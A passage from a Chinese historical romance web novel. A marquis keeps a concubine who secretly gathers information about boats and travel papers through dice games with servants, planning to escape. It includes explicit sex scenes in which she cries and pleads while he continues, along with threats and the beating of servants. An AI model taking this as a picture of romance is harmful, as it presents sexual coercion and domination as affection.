林韦德拿出腰间玉佩示意:“叫你们管家来。” 小二一瞧就知大有来头,小跑着去请管家。 片刻功夫管 家就来了,拱手行礼:“是侯爷和林大人啊,眼下虽没有多的包厢,但我们马上去腾,稍等片刻。” 片刻功夫,管家笑脸吟吟领着众人绕过大厅,围着旋转的木质扶梯上了二楼。 二楼相较于一楼明显要安静许多,而且布置更加精贵,楼梯入口处铺着如意花卉纹地毯,墙角摆放的五彩釉花瓶上插着鲜花。 管家殷勤地为他们倒着茶水:“侯爷想用些什么?可有什么忌口的。” “将你们这的甜食都上一份。”裴铉懒得听他报菜名,“再将招牌菜都上一份。” 宁泠和林韦德都坐于裴铉身侧,裴铉看着她单薄的肩背又道:“你们这儿有些什么滋补的汤菜?” “当归生姜羊肉汤,花旗参鸡汤、枸杞乌鸡汤。”管家麻利地将一堆菜名口齿清楚地报了出来。” “来份羊肉汤。”裴铉。 身子娇弱无力,不好好补怎么成?岂不是浪费了拍卖行的好东西。 宁泠一门心思在甜食上,盛安城繁华,吃食应该也精致好吃。 甜食很快就上了,其中一道酥蜜饼,尤为得她喜欢。 裴铉和林韦德看她吃了一个,又接着拿了一个。 “净吃这些,其他饭菜也要吃。”裴铉轻叩了下桌面。 宁泠不乐意地撇嘴,真是多管闲事。 当归生姜羊肉汤上来后,裴铉挽起袖子给宁泠盛了一碗。 羊肉汤是奶白色,少许油光浮现在上面。 宁泠听话地喝了一碗,味道鲜美,没有喝出一点羊腥味。 不过比起酥蜜饼还是差了点,她悄悄喵了眼裴铉,见他没说话,又偷偷摸摸拿了个。 林韦德觉得侯爷像是府邸里的婆子似的,话多又操心。 他都瞧见了,侯爷能没发现?又偏偏要装作看不见。 一顿饭结束,宁泠擦擦嘴角喝茶漱口。 一碟金灿灿带着芝麻粒的酥蜜饼,她一个人吃了半碟。 肉也吃了不少,菜几乎一口不吃。 “啧,还挑食?”裴铉指着一盘绿油油的时蔬,“一口都不曾吃?” 宁泠小声回答:“在浣衣局天天吃菜叶,看见就犯恶心。” 裴铉顿时闭口不言了。 宁泠自小生活在小镇上,自然偏爱这些罕见点的肉食和甜点。 她吃得饱饱,回去的路上晒着暖洋洋的太阳。 下午免不了犯困,就去偏房上浅眠了会。 睡着睡着她就感觉似乎有些不太对劲,身边有什么热烘烘的一团。 她迷迷糊糊地睁开惺忪的睡眼,对上裴铉轮廓分明的下巴。 屋内还没点灯,光线较暗,但还是能轻易看清他光滑的皮肤,朦胧夜色下的玉色。 裴铉抚摸着她的脸颊:“睡懵了?” 他应该刚刚沐浴过,身上还带着好闻的沉香味道,浅浅的沁人心脾。 “侯爷什么时候来的。”宁泠刚醒嗓音带着点沙哑。 “不久。”裴铉一边和她说这话,一边为她倒了一杯温水,“润润嗓子。” 宁泠狐疑地看了眼裴铉,总觉得今日的他哪里不对劲。 在酒楼时就屈尊降贵地为她盛汤,现在还为她倒茶。 但嗓子的确干涩,宁泠接了茶水饮下。 喝完水后,裴铉还自觉地接过水杯放回去。 宁泠思考了下,他似乎只有在床笫上事后才会如此。 裴铉靠近宁泠:“今日玩得开心吗?” 宁泠点点头。 “玩也玩了。”裴铉将她搂在怀里,“好吃的也吃了,也该让我开心是不是?” 宁泠才反应过来,原来这厮打得这个主意。 可她哪里是他的对手,还不是只能仍由他肆意妄为。 “放心,今日不疼。”裴铉的嗓音哑了,亲亲她的小脸。 他这些鬼话,宁泠听过无数次了,心里并不相信。 衣衫半褪,床帐遮掩。 宁泠忽然感觉到一股粘稠的清凉液体,冻得她娇躯轻颤,玫瑰花的芳香弥漫在四周。 宁泠盯着裴铉手里的白瓷小瓶,好奇问道:“这是什么?” “它名为凝花露。”裴铉倒了些在掌心焐热,“多涂抹些它,便不会再疼了,听说还有养肤紧致的功效。” 不过以他看,紧致就不必了,每每箍着两人难受,她更是呜咽哭泣。 宁泠反应过来:“这就是今日你和那管家说得悄悄话?” “对。”裴铉在她耳垂轻轻吹气,“我若是高声说出,你岂不是又要急眼?” 宁泠气得用拳头锤他胸口:“那你在他人面前说,还不是一样!” 难怪林韦德眼神古怪不看她,管事猥琐地嘿嘿笑。 裴铉一只手就轻而易举地捉着她两只皓白的手腕,揶揄道:“怕你疼,好心为你找药,又怕你羞恼,特意小声吩咐,你竟不识好人心。” 宁泠眸色潋滟,羞恼地瞪着他。 美人柔媚娇嗔,裴铉哪能坐怀不乱。 包裹里自然不止有凝花露,还有几本房中书籍,下午闲来无事,他在书房看了会。 上面说若是按此行事,可使女子舒畅。 宁泠不喜房事,他是知晓的,用了这些,说不定能让她以后离不了他。 裴铉手掌涂抹了揉在外部,修长的指尖往里探。 宁泠紧张地夹。紧,警惕地问他:“干什么?” 裴铉灵活的指尖游走:“自然里面也要上,不然等会疼叫停,我可不管你。” 宁泠羞红了脸沉默不语,她是真的怕疼,每次他都来势汹汹,她哪里招架得住。 今晚宁泠果然没有叫疼,只是娇声唤着慢些。 听了那甜甜腻腻的声音,裴铉哪能忍住:“乖,快些才舒坦。” 这晚宁泠感觉很奇怪,人像是在水里浮浮沉沉。 不疼,但有一种说不出来的怪异感。 裴铉要了三次水才停下,他抱住软成一软水的宁泠去沐浴。 看见她娇媚无力的样子,他调侃:“这么没用,晌午的羊汤白喝了。” 宁泠累得话都说不出来,连他何时点了烛火都不知。 今日下身不疼了,只是腰肢更加酸软,四肢泛力。 沐浴时裴铉特意检查了下,发现没有红肿的问题。 “看来这凝花露效果甚好。”他用脸蹭蹭宁泠。 宁泠嗓子哑了,不想说话。 裴铉浑身舒坦,连眉梢处都透着丝丝餍足,好心地取来温水喂宁泠。 静静看着她殷红的唇,洁白的贝齿,缓缓吞咽下去。 宁泠感觉到他的注视,抬眸一看。 吓得嗓音软糯委屈:“你不要太过分。” 本是凶人的话,被她软绵绵一说,毫无威慑力。 裴铉揉揉她的脑袋哄道:“哪里过分了?刚才你不舒坦?你都” 他话还没说完,就被宁泠气急败坏地捂住嘴:“不准说了。” 裴铉见她面容疲惫,只好收手。 以往他最是看不惯哪些醉生梦死,沉溺在温柔乡的无用男儿。 如今他也慢慢品尝出个中滋味,欲罢不能。 裴铉抱着穿好里衣的宁泠出来的时候,外面天色完全漆黑,望去只有几盏稀稀疏疏的灯火。 “饿了没?”这时候的裴铉耐心极好。 宁泠点点头,累了一下午能不饿吗? 中午好不容易吃点好东西,都折进去了。 两人都简单吃了点东西,精疲力竭地睡了。 几日后的皇宫后,裴铉将那枚玉佩双手奉上。 全禄公公接过,将东西递给圣上。 “这是青州的和田玉。”宣帝打量手中的玉佩。 油脂足,水头好,够透亮。这种品质的和田玉历来都是贡品,并不向外流通。 “是盛安城内的拍卖行。”裴铉顿了顿,接着说:“似乎与裴叔父有关系。” 他再呈上一份奏折,上面详细写明了 近来拍卖行出售的物品及价格,以及偷偷跟踪找到的溯源地。 “忠国公。”宣帝缓缓念出这几个字,“他向来老谋深算,这件事情露马脚也太快了。” 裴铉赞同的点点头:“这家拍卖行挂在他门下别的官员名下,而且和田玉的数量并不多。” 简而言之,想用这件事情彻底扳倒忠国公是不可能。 裴铉去拍卖行之事虽未大张旗鼓,但也没有专门乔装打扮,隐瞒身份,本打算去一探虚实,但没想到裴书伦毫不遮掩。 “此事或有蹊跷,先暗中追查。”宣帝沉思了会。 “这枚玉佩受人追捧得很。”裴铉点点头,“堂兄我可是花了足足七千两银子才抢到手。” “堂兄给妾室豪掷千两买手镯时不吭声。”宣帝笑笑,“帮堂弟办事,倒是亲兄弟明算账了。” 裴铉耸耸肩,一码归一码。 又干活又贴钱的买卖,他可不做。 裴铉如愿以偿地拿着赏赐物出了宫殿,全禄公公一路相送。 近来裴铉乖张凌厉的性子收敛了不少,示意了下林韦德。 林韦德将随手携带的一个荷包递给全禄公公,全禄公公拿着拂尘推辞:“奴才哪能收这些东西呢。” “新年吉祥,请公公喝个茶。”裴铉面带笑容。 林韦德的手一直递在哪儿,全禄公公也不好再拒绝。 只能接下道谢:“多谢侯爷和林大人了。” 将他们二人送出宫后,全禄公公返回宫殿。 “皇上,侯爷赏了奴才一袋金瓜子。”全禄将荷包扯开给宣帝看。 宣帝轻飘飘扫了一眼:“你既赏,你就留着。” “哎。”全禄笑着道:“有晋阳侯为皇上分忧,皇上也能松快些。” 宣帝笑笑不语,他知裴书伦想将裴铉拉入阵营,他那个好叔父仗着以前的权势,喜欢对他指手画脚。 可惜天变了,现在是他当皇帝了。 忠国公的羽翼丰满,是该减减了。 至于晋阳侯府,任凭他裴铉再有才能,终究父母双亡,势单力薄。 裴铉为人不肯吃亏,心思缜密,知晓分寸。 他们两个能够很好合作。 晚上灯火通明的书房里,裴铉在书案上看书。 宁泠伏在稍小些的书案上,埋头苦学。 自从有了凝花露后,她连养伤的休息时间都没了。 裴铉夜夜贪欢,害得她每每日上三竿才起,写大写的时间都不够了。 她写完他布置的二十张大字,待墨水干了后,取下镇纸尺。 将大字捧来给裴铉检查,一见她走近,裴铉就将手中书卷倒扣于书案上。 惹得宁泠多看了两眼,他问道:“想看?” 敏锐的宁泠察觉到一丝危险的气息,犹豫片刻摇摇头。 裴铉不正经地笑笑,看了她的大字后:“我启蒙时候的字,说不定都比你写得好。” 除了能够勉强认出来写得是什么,此外毫无任何美观。 宁泠窘迫地垂眸,她起步晚学得也慢。 她迟疑问道:“要不我每日多写几张?” 裴铉拉她坐于膝上,点了点她的鼻子:“欲速则不达。” 宁泠倏地眼尖地发现了书案上散碎的金瓜子。 眼眸一亮,裴铉不许她身上有现银,若能要了这金瓜子,以后逃跑便不愁银钱了。 “侯爷,哪来这么多金瓜子?”宁泠宝贝地拿起几粒放在手心玩。 裴铉眼眸微眯看了眼:“逢年过节,宫里上下免不了打点。送碎银太轻了,金瓜子刚好合适。” 应该都是林韦德打赏剩下,放在这里的。 宁泠很是感兴趣,眼眸盛星星似的,一双素白的手在小匣子里拨弄。 她欢声道:“竟然还有黄金做的花生。” 金灿灿的花生被她放在手心仔细看,神情十分珍惜的模样。 “喜欢?”裴铉问她。 宁泠脸红地点点:“我以前没见过这些东西。” “只要你肯好好跟着我。”裴铉的声音蛊惑人心,“断断不会缺这些东西,还有更多其他好东西。” “我如今不是好好在侯爷身边嘛。”宁泠撒娇卖乖,“侯爷少哄我别的,眼下我就要这匣子金瓜子。” 今日不将这些金瓜子金花生弄到手,往后说不定就被裴铉换成了珠钗首饰。 她不好变卖带走,金花生金瓜子这种东西方便得多。 以后典当换钱,重物砸扁就成,也不会大打折扣。 宁泠鲜少主动对他撒娇卖俏,裴铉十分受用,蹭了蹭她脸颊:“好,都给你。” 刚拿到东西,宁泠主动与他贴了贴脸颊。 却忽地被他拦腰抱起:“夜深了该歇息了,将书案上那本书拿上。” 宁泠纳闷既然夜深要歇息了,何故又要将书籍拿去内室。 宁泠实在忍不住,将书籍翻开看。 只翻了几页,她就急急忙忙地合上。 她羞得脸色通红,说话都结巴了:“你、你怎能在书房看这些杂书?” 装作一副正人君子的模样,原来是背地里看这些下三滥的书。 裴铉不安分的手捏捏她的腰:“刚从我这儿得了好处,就开始训我了?” 宁泠觉得手中这书如同烫手山芋,想要直接丢弃。 “不准丢,等会可要用的。”裴铉语气威胁。 宁泠清澈的眼眸对上他黝黑的瞳孔,内涵的侵略性不言而明。 “我不。”宁泠脱口而出。 裴铉肆意地笑笑:“你若把它丢了,等会求我可没用。” 宁泠又怂了,主动环住他的脖子。 她被放置柔软床榻上时,瞧了眼眼前的男子。 结实紧绷的长腿,精瘦野性的身躯。 她害怕地喉头吞咽,找借口:“我那匣子金瓜子还没拿过来。” 裴铉充耳不闻。 她继续要求:“你去帮我拿过来,不然明天万一没了怎么办?” “放在书房的东西,谁敢乱拿?”他现在可没空管哪些金瓜子。 宁泠不依不饶:“既然有人能放哪,说明有人就能拿走。” 裴铉思考了下,还真有可能。 明日林韦德见自己没管,说不定拿去处理了。 裴铉又看了眼宁泠,态度坚定。 看来不拿过来,是不行了。 他稍加力气地捏着她桃腮的柔肉:“长本事?现在开始使唤我了。” 宁泠偷偷嘀咕:“塌上你还不是常常使唤我。” 裴铉浪荡笑笑,系好衣带转去书房给她拿木匣子。 见他一走,宁泠迅速从床上起身。 面红耳赤地拿着那卷书,哪能真等会用它。 她粗略地翻了几页,真按上面说得去做,估计明日午饭都不用吃了。 宁泠的视线环视四周,要把它藏哪儿才成。 室内的东西都摆放有致,将它放哪都尤为突出,一眼就能发现。 裴铉那边悠悠的脚步声传来,宁泠心慌了。 床榻一道屏风外隔着个小书房,放置着一张书案方便日常使用,背后的书柜搁着些书。 脚步声,越来越近,宁泠慌乱地书随手塞进了一格书架处,匆匆赶回。 她还没来得及爬上床榻。 裴铉就拿着木匣子回来了,见她赤脚站在地砖上,皱眉问她:“跑哪儿去了?” 宁泠不自然地回答:“口渴,下来喝点水。” 裴铉将她要的木匣子,随手搁在桌上:“喏,你要的东西到了。” “我再去沐浴下,脚脏了。”宁泠又给自己找了个借口。 裴铉走近床榻:“书呢?” 宁泠局促地撩着碎发:“就在塌上呢。” 她说完话,转身想走却被他拉住。 “找出来。”裴铉语气强硬。 宁泠那能找出来,磨磨蹭蹭了半晌。 裴铉坏笑了声,猜到了她算盘。 他伸手去解她的衣带,宁泠连忙制止:“我脚脏了,不能上塌。” “谁说须得上塌了。”裴铉站于她的身后,抚着她光洁的脊背,“这样也可以。” 宁泠的脑袋手臂扑在柔软的榻上,而他在身后肆意鞭挞。 宁泠的眼泪扑簌簌 地落下,求了他许久:“我们回去,好不好。” 裴铉将她面对面抱入怀中,让她的长腿缠上他的劲腰。 他顶了下,宁泠抑制不住地出声。 他抱着她在内室游走,戏谑说道:“把书找回来,我们就回去。” 宁泠情难自禁地仰着头,脑海被断断续续地冲击。 刚才她情急之下藏得书,本就不知晓具体位置。 裴铉眼尾带着点殷红,身体发热。 他一双锐利的眼眸紧紧注视着宁泠,不放过她一丝一毫的表情变化。 似乎这样,比书里更有趣。 宁泠费力地攀着他坚硬的肩头,一格格地寻找那本书。 男人有心捣乱,时重时轻,她额头沁出汗意。 室内响起的声音令人耳红,宁泠的记忆时断时续。 太深了,宁泠浑身发颤,泪眼婆娑。 她是搬起石头砸自己脚。 不知过了多久,宁泠泣不成声,语不成调:“找、找到了。” 裴铉有心不让她把话说完,故意使坏。 后来那本书还是没用上,她就精疲力尽了,连自己多久累得睡着了都不知道。 过了正月十五后,裴铉回归忙碌的公务,常常早出晚归。 宁泠一个人在屋里无事可做,每日只能练字看书,念儿来找过她几次聊天。 她都兴致不高,当初念儿对她的冷漠,她依旧记忆犹新。 或许她们不是一路人吧。 厨房的孙婆子来给她送午饭:“这些都是最新鲜的吃食,姑娘有什么喜欢的,尽管告诉我。” 珍珠接过饭食摆在桌上,宁泠摸摸自己的脸蛋。 回来的这个月,她似乎长胖了不少。 孙婆子话多,知道宁泠这儿好东西多,爱往这边凑。 宁泠也无聊,没事就听会她闲聊,拉拉家常。 今日孙婆子闲聊了几句后道:“没事的话,老婆子我就先离开了。” “孙婆婆,今日有什么要紧事吗”珍珠好奇问道。 以前来了都是喝盏茶顺路带回食盒才走的。 孙婆婆笑笑:“灶房忙,我走久了不好。” 闻言珍珠不说话,心里暗暗纳闷。 此后今天孙婆子送饭都是神色匆匆,和人聊天也是心不在焉。 冬季的太阳尤为珍贵,明晃晃地挂在上空,一点暖意铺散在大地。 宁泠带着珍珠在府邸闲逛,不知不觉就走到了灶房附近。 虽然时间还尚早,但她打算顺路取走饭食,免得等会还要麻烦灶房的人来送。 灶房里的火燃着,食物的芬芳围绕在空气,里面却空无一人。 偏房的小门虚掩着,这里是婆子们歇息喝茶的地方。 听见里面闹哄哄的声音,“大!大!大!!”是孙婆子兴奋的声音。 里面还有其他婆子嘈杂说话的声音。 宁泠好奇地推开门,室内顿时鸦雀无声。 孙婆子面色红润,神情尴尬地望着她。 有认识宁泠的,赶紧热情招呼道:“是宁姑娘啊,灶房腌臜,怎么到这儿来了?缺什么吃的,派人知会一声就成。” “难怪孙婆婆天天火急火燎的,原来你们在这喝酒赌博啊。”珍珠柳眉倒竖,嗅见空气中微弱的酒味,开口呵斥。 屋内有三个婆子,身边都放着个碗,里面盛着米白色的酒。 孙婆子出来圆场,好声好气说:“哪里算得上酒,不过是咱们自家多的米酿。” 当值时间吃酒,被抓住了可是要挨板子的。 碗里的米酒酒味不重,毕竟她们也怕旁人闻见告密。 “那你们摇色子赌博总没得狡辩吧?”珍珠指着桌面,“你们也不怕侯爷知晓。” 众人面色顿变,孙婆子可怜兮兮卖惨:“我们也只是空闲时间找找乐子,好姑娘,你可千万不要告诉侯爷啊,不然我们小命不保。” 珍珠看着几个上了年纪的婆子在那擦眼泪,也于心不忍。 她本想吓唬一下她们而已,其实规矩是明面上的规矩,众人玩乐这种事屡禁不止。 而且只要不被侯爷撞见,不耽误差事,大家也都睁只眼闭只眼。 珍珠只是不满,孙婆子这几日都急急忙忙跑了,以往都是她喝盏茶大家聊聊天,她顺路带食盒回去。 现在却要珍珠每天多往返。 见哄住了珍珠,几人又望向宁泠:“宁姑娘可否高抬贵手?” 她们最担心的还是宁泠,毕竟她可是侯爷身边的通房,又颇为受宠。 宁泠笑笑:“大家伙闲来无聊玩玩而已,又不曾误事有什么要紧的?” 见她表态,大家放下心来。 宁泠看着桌上散落的几颗骰子,好奇问道:“怎么个玩法?” “咱们是些粗人,就按照谁大谁赢的简单玩法。”孙婆子热情回答。 宁泠点点头:“那有人摇到同样的点呢?” “那就摇到相同的人再摇,分出大小为止。”孙婆子又开始拉家常了,“这个玩法还是城西码头哪儿传来的。” 宁泠闻言心动,这几个婆子在盛安城待得久,地方估计都摸透了。 说不定连码头一日几趟船,去哪儿都一清二楚。 第37章 第37章【VIP】 “你们白天在这也太不安全了。”宁泠看了下四周说:“应该找个安全点的地方。” 众人觉得她言之有理。 “不如去张婆子和我的下房摇骰子玩。”孙婆子眼珠一转。 宁泠笑笑:“这个提议不出,近来我闲暇无事,不知可否与大家一起玩呢?” 珍珠欲言又止,表情显然不太赞同。 三个婆子面面相觑,都没开口说话。 “放心,我不会仗势欺人。”宁泠取下一对耳珰放在桌上,“侯爷天天不见人影,府里我想找个作伴的人都没,以前还能和孙婆婆说话解解闷,如今大家一起玩,岂不更好?” 那对耳珰做工精致,上面的珠子价值不菲。 三个婆子说不眼红,那是假的。 可到底是侯爷赏赐下的东西,她们又心存疑虑。 “你们只要不在府里佩戴,谁知道呢?”宁泠打消她们的疑虑。 上次念儿的事情就是这样败露的,但这些婆子都成了精,多半都是在外面偷偷处理了。 如今她的梳妆匣里全是琳琅满目的首饰,她都不清楚有多少,裴铉一个大男人估计更不清楚。 而且她还尚在府里,裴铉也没心思在外面追查一两件首饰。 但她若跑了,敢去典当首饰,估计裴铉便能寻迹而来。 宁泠的三言两语彻底打消了几个婆子的顾虑,三人互相点头。 “也好,人多热闹。”孙婆子首先开口。 刚开始几局,宁泠运气不好,一直连输。 但她那副耳饰贵重,几局是赢不下来的。 “冬天总算要过去了,天气终于要暖和了。”宁泠边摇骰子,边说闲话。 “是呀,天气暖和些蔬菜鱼虾都多些。”张婆子点点头,“我们灶房里菜的花样就能多点,冬天的菜就哪些,来来回回的大家看见都烦。” 她们在灶房里忙活,自然对这些话题接得上话。 “我最爱螃蟹。”宁泠一脸回味,“以前在村子时,到了秋季,大家伙都去溪边找螃蟹,个个都肥美。” “那今年宁姑娘有福了。”孙婆子笑笑,“盛安城城西那片河,宽得很勒,里面的螃蟹比其他地方的块头大多了,更别提滋味。” 宁泠眼前一亮,追问道:“那我有口福了,咱们侯府的鱼虾都是在城西捕捞的?” “哪能都指望一条河养活整个盛安城。”孙婆子摇摇头,“有些是 坐船连夜送来的。” “晚上也有船?”宁泠神情诧异,“我们哪儿可只有白天才开船呢。” “平时渡人的船当然只有白天有。”张婆子自得一笑,“咱们可是侯府,自然有专门运送的货船。” 宁泠点点头:“晚上船来了,大家伙去搬东西也挺累的。” “那都是脚夫们干的活。”孙婆子疯狂摇着骰子,“咱们就负责点个数,看看食材新鲜不,验收就成。” 后来几局宁泠的手气见好,不仅将耳珰赢了回来,还得了几百个铜板。 张婆子尤为心疼:“哎呦,宁姑娘可真厉害。” “我还说赢点银子,下次休假给我孙孙买点零嘴勒。”孙婆子输得最多。 另外一个曹婆子沉默寡言些,输赢不大。 宁泠客气道:“我刚开始还不是输,后面不就上来了。” 草婆子最为沉得住气:“瞧瞧你们两个哟,心急吃不到热豆腐。” “孙婆婆哪里人?”宁泠接着探话,“莫非都是盛安城内的?” “哪有这个好福气哦。”孙婆子摇摇头,“我老家是叙州的,早年买了身进侯府,后来孩子们争气赎了身,都回了叙州,一边耕地一边读书。” 她一个粗使婆子,哪有本事全家人在城里,自己留在府邸,还不是指望能多挣点。 “说不定孙婆婆家以后出个状元呢。”宁泠嘴甜道。 哄得孙婆婆开怀大笑:“中个秀才都是不得了的大事,那敢去想哪些。” “侯府一月休假三天,孙婆婆来回够吗?”宁泠接着问。 “叙州离这不远,坐船半天就到了。”孙婆婆顺着话说下去,“去叙州的船也多了,人满就开船,方便得很。” 宁泠点点头,看了眼外面天色。 她陪着再打了几局:“天色差不多了,我也该回去了。” 几位婆子都是府里的老人,一看到了侯爷该下值的时辰,也不敢挽留。 只是她们脸上或多或少都有点肉疼,宁泠善解人意道:“明日有空,咱们再打,赢了的先放你们哪儿,明儿我也方便取用。” 孙婆子:“好,我们明日再打,宁姑娘路上慢走啊。” 她之前还怕宁泠赢了就不跟她们打了,眼下松了口气。 回去的路上,珍珠忍不住出口劝说:“此事侯爷知晓了就不好了。” 宁泠一双冷若冰霜的眼眸盯着她:“他不知道,不就没事了。” 这群婆子摇骰子玩不是这一日两日的事情,而且裴铉早出晚归,又不是什么大事,只要不告密就不会有事。 今日将码头的船次弄清楚了,算是不虚此行。 但她还有其他的问题想要打探,列如路引等等。 珍珠难得见宁泠甩脸子发脾气,怵了连忙认错:“姐姐放心,妹妹不会。” 本来就是一件小事,就算侯爷知道了也不至于大动干戈,宁泠倒时撒娇卖乖,侯爷肯定就高高举起,轻轻放下了。 珍珠识时务地不再多言。 此后几天待裴铉走后,她就来找几个婆子摇骰子玩。 今天宁泠的运气比较好,婆子们的月银不高,大家本就是图个乐,打发时间。 “看来孙婆婆的孙孙是吃不到零嘴了。”宁泠将桌上的铜板收入怀里,巧言笑兮。 孙婆婆道:“那能真不给他买咯,月月都盼着老婆子回去,惦记那点吃食。” 众人笑哄哄的,到了她们这个年纪,大多有了后代,哪有小孩子不馋嘴的。 “月月回去麻烦得很。”宁泠接着道:“次次舟车劳顿,孙婆婆吃得消?” 孙婆子:“咱们好姑娘真是不食人间烟火了,月月回去那来回的渡船费用都够孙孙吃上几顿好的了。” “遇上有顺路去叙州办事的,让他帮忙捎去就是了。”张婆子数完铜板接话。 “也是,月月回去光是路费就花销不少呢。”宁泠一脸认同,“而且还要去办路引,劳心劳力的,不划算。” “咱们侯府的人哪需什么路引。”张婆子面色骄傲,“侯府去叙州办事采购的人不少,船夫们早就相熟了,咱们将卖身契拿出来亮亮就成,不用麻烦地跑去官府排队办路引。” 宁泠不再多言,内心却有了打算。 叙州倒是可以去的一个好地方,挨着盛安城应该是繁华安稳的,又有大码头,以后自己周转还方便,最主要的是她完全可以狐假虎威,不需要为路引发愁。 上次逃跑失败追重要的原因,就是对码头不熟悉,而且没有路引,硬生生被困在城内,消耗了时间暴露踪迹。 见主要目的已经达成,宁泠不再讨论和码头有关的任何问题。 只是拉着大家伙谈论南来北去的各种话题,混淆试听。 算下来她不仅成功打探到消息,还赚了几百个铜板。 宁泠打算见好就收时。 忽生变故,一道破门声倏地响起,被孙婆子锁好的门被人强行从外踹开。 几人吓得抬头望去。 先进来的是背着大刀的林韦德,进来后他先深深地看了一眼宁泠,似乎在说自求多福吧。 接着进来的是裴铉,约莫是刚下值回来,一身绛紫色的官服,衣袍上用昂贵丝线绣着翔云等精美图案,自带官场上的威压。 在场所有人都面色惶恐地行礼。 裴铉散漫地走近,姿态闲适,适才进门便瞧见宁泠手里拿着铜板,一双秋水眼眸望着他。 “看来本侯回来的不是时候。”裴铉的话意似乎带着歉意,可神情却毫无。 几人吓得连忙下跪告罪:“是奴婢的错,请侯爷恕罪。” 宁泠也被吓得后背冒冷汗,刚要跟随大家伙一起跪下。 却被裴铉扶住手臂,双腿半屈。 裴铉眉梢微挑地望着她,似乎在等待她的解释。 近来忙得脚不沾地,他还担心宁泠受了冷落,今日紧赶慢赶忙完手里的事情,想着回来一起用饭。 那知没了他,她倒是挺会给自己找乐子,玩得不亦乐乎。 估计恨不得他日日不回府,她一个人好逍遥自在。 宁泠被他盯着头皮发麻,声音柔柔道:“奴婢闲来无事,一个人有些无趣,才拉着大家伙玩乐打发时间。” 孙婆子几人的心里稍安,生怕宁泠拉她们当挡箭牌,说她们几个婆子带坏了她。 “林韦德。”裴铉懒洋洋喊了声,“府里赌博取乐如何处罚?” 林韦德怔了怔,他一向跟着侯爷身边伺候,他又不是管家,哪里清楚后院的规矩。 硬是回想了半晌,他才说道:“每人十板子,若有下次赶出府。” 孙婆子几人吓得面色发白,想求情又不敢。 宁泠刚想开口求情,就听得裴铉冷酷的声音:“那还不带下去处置。” “是。”林韦德道,冷眼瞥了眼孙婆子几人,大家都识趣地主动出去。 “珍珠伺候主子不力。”裴铉视线落在珍珠身上,接着他大发慈悲道:“打五板子。” 珍珠眼含热泪地望着宁泠,宁泠心里哪能过意得去。 先不说从头到尾,珍珠一局都不曾碰过,而且早前她也劝过宁泠了,宁泠怎么好意思将她拖下水。 宁泠拽紧裴铉硬朗的手腕,求情道:“珍珠早就劝过我了,是我一意孤行。” 裴铉的另一只手覆在宁泠手背,慢条斯理问道:“哦,那你为什么不听话?” “是我恃宠而骄。”宁泠低头认错,“侯爷怎么罚我都成,将珍珠的五板子加我身上可好?” 第38章 第38章【VIP】 裴铉轻笑出声,真打宁泠几板子他那舍得。 他撇了眼林韦德,林韦德立刻将人带了下去。 室内此刻只剩 下两人,宁泠急得摇晃他的手腕,裴铉仍由她晃动。 “光担心别人。”裴铉猛地拉近两人的距离,在她耳畔低声:“想好自己怎么受罚了吗?” “我怎么被罚都成。”宁泠言辞恳切,“可珍珠是被我无辜牵连的。” “你是主子,她是你的下人,我没让她代你受过打十五板子,已是网开一面。”裴铉不喜她因为别人而来质疑他的决定。 “正因为她是下人,我是主子。”宁泠忍不住反驳道,“所以她不可能真正约束我,她只能听从我的命令行事。” “那她也可以告知请示我,而不是帮你隐瞒。”裴铉冷嗤一声。 “依你之言,那你才是真正的主子。”宁泠心里不服,“这么算下来,该罚的人岂不是你自己?” 她一番伶牙俐齿地狡辩下来,气笑了裴铉。 “既知我是主子,你现在这是什么态度?”裴铉的脸冷了下来,“因为一个丫鬟和我翻脸争吵。” 他还没和她算账,她倒是先和他算上了。 她行事偭规越矩,花楼敢去,聚众赌博,她还有理了? 尖牙利嘴,连他都不放在眼里。 如此这般,以后如何能在府邸安分守己。 她这古怪刁钻的脾性,那个正室能容她。 “侯爷如何罚我,我都认了。”宁泠还想争取下,“可是珍珠是无辜的。” 连累珍珠挨打,宁泠心里有块石头压着似的。 说完这话宁泠就不管不顾地往外走,看那架势,似乎打算去替珍珠受罚。 裴铉生了恼意,直接将人扛在肩头。 往争晖院的方向走,宁泠顿感天旋地转,头晕目眩,胃被他坚挺的肩膀顶着犯阵阵恶心。 她在他的肩头挣扎。 只听见他冷冰冰的声音:“你若还敢挣扎,还要再替她求情。你说一句,我就加五板子,我倒要看看她能受多少板子。” 宁泠全身僵住,不敢动弹。 因被扛着,全身血液倒流,她心慌想吐,浑身都不舒服。 察觉到裴铉的不悦,宁泠不敢再说话。 回去这一段她感觉格外漫长,额间沁出密密麻麻的冷汗。 裴铉进了内室,小心地护着她的头将她放下。 他才发现她面色惨白,唇无血色,不舒服地紧蹙眉头,青葱似的玉手抚着胸口,似乎难受极了。 “怎么了?”裴铉见她面色不似作假。 宁泠缓了缓,片刻后声音虚弱:“我想吐。” 裴铉的眸子闪过丝焦急:“我去让人请大夫。” 宁泠拉着他转身要走的手,轻微摇摇头。 她猜测自己应该是刚才被裴铉扛走,血流倒流,又顶着胃不舒服造成的。 估计缓一段时间就好了,没有必要去请大夫。 天天喝那发黑苦涩的避子汤,都让她喝药喝怕了。 “讳疾忌医可不成。”裴铉抚摸着她的后背。 多大的人了,还怕大夫。 宁泠感觉自己舒服了些:“帮我倒杯水。” 裴铉起身给她倒了一杯温水,回来蹲在她面前。 看着她小口小口喝着水,面色渐渐恢复过来了。 “刚才还不是怪你,你把我扛在肩上,我可难受了。”宁泠喝完一杯水,眼神幽怨看着他。 裴铉接过茶杯:“你犟嘴又成我的不是了?” 他又看了看她的脸色:“不舒服怎么刚才不说?” 傻乎乎忍了一路,回来小脸都惨白了。 宁泠轻抚胸口,缓解那股不适,可怜兮兮道:“你不是让我闭嘴吗?” 那时若说话,惹恼了他估计又要处罚人。 裴铉被她的话堵住,这时候又开始听他话了。 该说的不说,不该说时拿一大堆话来怼他。 刚才裴铉还心气不畅,可如今看着她弱不禁风、楚楚可怜的模样,他那点恼意就烟消云散了。 裴铉将她搂入温暖的怀里,揉揉她的脑袋:“舒服了些没?” 宁泠察觉到他的情绪变化,想到紫叶以前说他的话,吃软不吃硬。 她主动服软:“刚才的事情是我错了,侯爷别恼了。” 裴铉诧异地看了眼她,忽地又转了性子? 宁泠担心裴铉包根问底地追查下去,届时计划全盘皆输。 他既能不费吹灰之力找到自己,估计也能猜到她用首饰当赌注。 还不如自己坦白,免得等会又被他拿乔。 宁泠水灵灵的眼眸望着裴铉,主动坦白道:“是我不对,闲来无事就找人摇骰子玩乐,而且因为身上没有现银,还拿侯爷送我的耳珰做了赌注。” 裴铉还不知这件事,但听她主动坦白,心里舒坦了些。 